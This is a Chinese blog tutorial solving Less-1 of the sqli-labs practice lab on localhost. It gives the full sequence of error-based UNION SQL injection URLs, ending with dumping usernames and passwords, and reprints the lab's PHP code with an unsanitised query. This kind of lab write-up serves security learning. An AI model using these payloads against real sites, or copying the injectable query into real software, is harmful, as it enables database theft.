mysql注入单引号被过滤_sqli-labs-master第一关:基于错误的GET单引号字符型注入

本篇博客详细介绍了如何利用SQL注入技巧,当单引号被过滤时,通过错误回显和盲注等方法,逐步探测数据库版本、字段数、数据库名、表名及表内数据,最终获取到`sqli-labs`第一关的用户信息。涉及的URL请求和响应揭示了整个过程。
摘要由CSDN通过智能技术生成

首先来到第一关:

a56e62a10ca46d45a0b30d351e630f4a.png

可以看到sql语句出错了。

926fb10a529f2750554c9872557e5b90.png

用 and 1 = 1去测试:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 1 %23 回显正常

%23是“#”注释

d1c5c095131e18c12ae8d78ef21c65ef.png

用 and 1 = 2 去测试:http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  and 1 = 2 %23 回显示失败,说明存在注入点。

1eac6104f06cf4ceff73d7017c815b43.png

判断字段:

当order by 3 的时候,回显正常:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 %23

dca5bf2de2f1ab6af37a9b2bb57d42c0.png

当order by 4 的时候,回显不正常:

4a23a36840acc48f7a3a2c51100bfe0e.png

说明字段是3。

报错显示回显库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2,3 %23

回显的地方是2和3。

24deb0873e8e0c0594314117849fb497.png

用version()看版本:

用database()看当前网站使用的数据库:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,version(), database() %23

通过下图可以看到,使用的php版本是5.5.53,该网站使用的数据库名字是security

f6dcd3d2b2fcf26d1935c4de0f7fc735.png

添加?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23 使用过滤查询语句where查看security数据库内的表

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

看到有四个表:

d996f62c905fcbce426ed76a750b045a.png

查看users表内的列

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

d1abce16c4d921baf105320ab4533ef5.png

查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users %23

9a41b13ae0b686a5b170cf5595674d5e.png

我们在看到users表里还看到了id,我们看看有多少组账号密码

只需要在后面加上 where id = n即可

经过测试 id 最大是14

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 1%23

64823daf0f1f5cde1e77bef51097bbf3.png

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users  where id = 14%23

0a001c86392bfb801c18a39b0de3c284.png

第一关结束:

第二关很快更新。

声明:官方源码被我改动了。附上我改动的php代码:<?php

//including the Mysql connect parameters.

include("../sql-connections/sql-connect.php");

error_reporting(0);

// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.

$fp=fopen('result.txt','a');

fwrite($fp,'ID:'.$id."\n");

fclose($fp);

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

$result=mysql_query($sql);

$row = mysql_fetch_array($result);

echo $sql;

echo "
";

if($row)

{

echo "";

echo 'Your Login name:'. $row['username'];

echo "
";

echo 'Your Password:' .$row['password'];

echo "";

}

else

{

echo '';

print_r(mysql_error());

echo "";

}

}

else { echo "Please input the ID as parameter with numeric value";}

?>

微信公众号:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值